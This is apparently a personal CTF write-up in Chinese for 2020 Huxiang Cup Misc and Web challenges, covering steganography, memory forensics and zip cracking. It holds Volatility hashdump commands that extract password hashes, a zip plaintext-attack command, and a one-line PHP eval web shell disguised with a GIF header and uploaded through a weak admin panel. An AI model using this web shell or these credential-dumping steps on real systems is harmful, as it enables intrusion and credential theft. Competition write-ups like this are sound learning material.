湖湘杯 2020 Web&Misc WriteUp

WriteUp Nov 02, 2020

Misc

颜文字之谜

下载下来流量包,导出 http 对象
在 index-demo.html 里找到好几行 Base64 编码的文本:

base64

用解 Base64 隐写脚本跑一下,得到 key:"lorrie"

key

解 Base64 隐写脚本:

# -*- coding: utf-8 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
        offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
        equalnum = stegb64.count('=')
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

再根据 index-demo.html 里的:

故事就是我把 flag 藏进颜文字里了(●'◡'●)❄❄❄❄❄❄

猜测是 html 文件的 snow 隐写
把 lorrie 当作密码,用 snow 解密 index-demo.html,得到:

flag{→_→←_←←_←←_←←_← →_→→_→←_←←_←←_← →_→←_←←_←←_← ←_←←_←←_←→_→→_→ ←_←←_←←_←→_→→_→ ←_← ←_←←_←←_←→_→→_→ →_→→_→→_→→_→←_← →_→←_←←_←←_← ←_←←_←←_←←_←←_← ←_←→_→→_→→_→→_→ →_→→_→→_→→_→→_→ ←_←←_←←_←←_←←_← ←_←←_←→_→←_← →_→←_←←_←←_← ←_←←_←←_←←_←→_→ ←_←→_→ ←_←←_←→_→→_→→_→ →_→→_→→_→→_→←_← ←_←←_←←_←←_←←_← ←_←←_←←_←→_→→_→ ←_←→_→ →_→→_→→_→→_→→_→ →_→←_←→_→←_← ←_← →_→→_→←_←←_←←_← →_→→_→→_→→_→←_← →_→←_←→_→←_← ←_←←_←←_←→_→→_→ ←_←←_←←_←→_→→_→ →_→→_→←_←←_←←_← →_→→_→→_→←_←←_←}

→_→ 当作 -←_← 当作 .,再摩斯电码解码,就能得到 flag
flag:67b33e39b5105fb4a2953a0ce79c3378

passwd

下载下来是 raw 文件
先用 volatility 看一下镜像信息

volatility imageinfo -f WIN-BU6IJ7FI9RU-20190927-152050.raw

确定用 Win7SP1x86_23418 的 profile
再用 hashdump 命令把密码 dump 出来:

volatility hashdump -f WIN-BU6IJ7FI9RU-20190927-152050.raw --profile=Win7SP1x86_23418

得到用户名为 CTF 的账号的密码哈希值:

CTF:1000:aad3b435b51404eeaad3b435b51404ee:0a640404b5c386ab12092587fe19cd02:::

再放到 Cmd5 网站爆破,得到密码:qwer1234
密码 SHA1 哈希后就是 flag:db25f2fc14cd2d2b1e7af307241f548fb03c312a

虚实之间

下载下来是一个 zip 压缩包
压缩包里出了 flag.txt 有一个原文件和一个副本,三个文件都被加密:

zip

其中副本文件是伪加密,改一下加密标志位就能解压出来
接下来进行明文攻击

先构造出一个压缩包 p.zip,然后使用 rbkcrack 攻击:

rbkcrack -C c.zip -c mingwen.txt -P p.zip -p mingwen.txt

得到密钥组:02b26917aadbd8198b1b7a1f

之后用 AAPR 解压缩包密码,但显示此文件不支持明文攻击
这里把 flag.txt 删掉就可以了
解得压缩包密码:123%asd!O

再下载一遍附件,解压出 flag.txt
最后把 flag.txt 的内容栅栏五位解码即可
flag:febc7d2138555b9ebccb32b554dbb11c

隐藏的秘密

volatility 看一下镜像信息

volatility -f 1.vmem imageinfo

使用 Win2003SP1x86 的 profile 就可以
看一下内存里的文件:

volatility -f 1.vmem --profile=Win2003SP1x86 filescan

可以看到桌面上有一个 file.txt
使用 dumpfile 命令把 file.txt 提取出来,得到:

什么?计算机又被不知名账户登录了?明明在计算机管理中没有这个用户,为什么还会被这个用户登录呢?电脑跟前的你能帮我找到原因吗?flag 为该用户的用户名以及密码的 md5 值。
格式:md5(用户名:密码)

那么就用 hashdump 命令提取出所有用户的用户名和密码的哈希值:

volatility -f 1.vmem --profile=Win2003SP1x86 hashdump > passwd.txt

再使用 cmd5 网站批量解出密码
再用脚本把用户名和密码按照格式组合并 md5 哈希
得到一个 300 多行的文档

md5

最后用脚本写一个爬虫依次提交 flag
最后得到 flag:8cf1d5b00c27cb8284bce9ccecb09fb7

Web

题目名字不重要反正题挺简单的

进入网站,看到源码:

<?php
error_reporting(0);
//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.
if ( isset($_GET['file']) ) {
    $file = $_GET['file'];
    if ( $file === "phpinfo" ) {
        phpinfo();
        exit;
    }
    if ( preg_match('/proc/i' , $file) ) {
        die("private");
    }
    $file = "/var/www/html/" . $file;
    $content = file_get_contents($file);
    if ( !$content ) {
        die("nothing");
    }
    if ( preg_match("/script|<\?/i", $content) ) {
        die("bypass me");
    }
    include_once $file;
} else {
    highlight_file(__FILE__);
}

这里其实是要我们绕过
但尝试一下 file=phpinfo
搜索一下直接就可以找到 flag:

phpinfo

NewWebsite

扫下目录,可以找到后台路径:/admin
用户名、密码都填 admin 就可以登录
进入 /admin/?r=imageset,可以进行图片水印设置:

imageset

把属性的水印、缩略图选项都挑上勾,就可以上传 phtml 文件

构造一个木马:

GIF89a
<script language="php">
  @eVal($_REQUEST["shell"]);
</script>

上传一下,可以看见路径:../upload/watermark/54511604233579.phtml
拿蚁剑连一下,在根目录就可以找到 flag:

flag

标签

john_doe

Merak 铁菜鸡一枚

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.